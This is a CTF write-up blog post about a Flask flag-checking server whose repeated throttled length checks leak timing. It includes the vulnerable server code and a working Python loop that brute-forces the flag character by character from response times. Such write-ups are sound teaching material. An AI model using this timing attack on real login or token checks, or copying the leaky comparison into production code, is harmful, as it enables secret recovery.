DEV Community

wireless90
wireless90

Posted on

2 3

IvyFinal CTF (Crypto 3) - Silly 400 - points

You can get the binary here .

silly - 400 points

192.168.40.199 8300

The server code is given to us as such.

from flask import Flask, request, Response
from flask_cors import CORS
from hashlib import md5
import time

app = Flask(__name__)
CORS(app)

def get_flag_length():
    time.sleep(0.05) # Throttling against brute-forcers
    flag = open('../flag.txt','r').read()
    return len(flag)

def get_flag_char(i):
    flag = open('../flag.txt','r').read()
    return flag[i].encode()

def checkflag(userflag):
    for i, c in enumerate(userflag):
        if get_flag_length() <= i:
            return False

        if c.encode() != get_flag_char(i):
            return False

    if get_flag_length() != len(userflag):
        return False

    return True

@app.route("/", methods=['GET'])
def index():
    userflag = request.args.get('flag')
    if not userflag:
        return Response("Missing flag", status=401)

    if checkflag(userflag):
        return Response("YOU DID IT!!!", status=200)
    else:
        return Response("Wrong flag. Characters supported: [a-z_{}]", status=401)

Enter fullscreen mode Exit fullscreen mode

Let's Begin

In order to get the flag, we need to pass the checkflag method.

The index method also gives us the clue to the characters in the flag.

return Response("Wrong flag. Characters supported: [a-z_{}]", status=401)
Enter fullscreen mode Exit fullscreen mode

In the checkflag method, it checks for every character if get_flag_length() <= i.

We can see a bruteforce preventive measure in the function.

time.sleep(0.05) # Throttling against brute-forcers
Enter fullscreen mode Exit fullscreen mode

However, due to multiple uses of get_flag_length in the checkflag method, this could cause a delayed response when we entered a wrong character vs the correct character. The correct character will incur a longer delay.

Thus we can perform a time based attack. The character which incurred the longest delay would be the right one.

In [10]: import requests

In [11]: payload = {'flag': 'a'}

In [12]: response = requests.get('http://192.168.40.199:8300', params=payload)

In [13]: response.text
Out[13]: 'Wrong flag. Characters supported: [a-z_{}]'

Enter fullscreen mode Exit fullscreen mode

So we know that the flag contains lower case alphabets, curly braces and underscores.

So to do the time based attack, we can

In [28]: import string

In [29]: import requests

In [30]: characters = [ch for ch in string.ascii_lowercase] + ['{', '}', '+']

In [31]: found = []

In [32]: while '}' not in found:
    ...:     longest_time = 0
    ...:     character = '0'
    ...:     for ch in characters:
    ...:         payload = {'flag': ''.join(found) + ch}
    ...:         response = requests.get('http://192.168.40.199:8300', params=payload)
    ...:         seconds = response.elapsed.total_seconds()
    ...:         if seconds > longest_time:
    ...:             longest_time = seconds
    ...:             character = ch
    ...:     found.append(character)
    ...:     print(''.join(found))
    ...:
i
iv
ivy
ivyc
ivyct
ivyctf
ivyctf{
ivyctf{c
ivyctf{ca
ivyctf{can
ivyctf{can}
Enter fullscreen mode Exit fullscreen mode

And we got the flag.

Hostinger image

Get n8n VPS hosting 3x cheaper than a cloud solution

Get fast, easy, secure n8n VPS hosting from $4.99/mo at Hostinger. Automate any workflow using a pre-installed n8n application and no-code customization.

Start now

Top comments (0)

AWS Security LIVE!

Join us for AWS Security LIVE!

Discover the future of cloud security. Tune in live for trends, tips, and solutions from AWS and AWS Partners.

Learn More

👋 Kindness is contagious

Please leave a ❤️ or a friendly comment on this post if you found it helpful!

Okay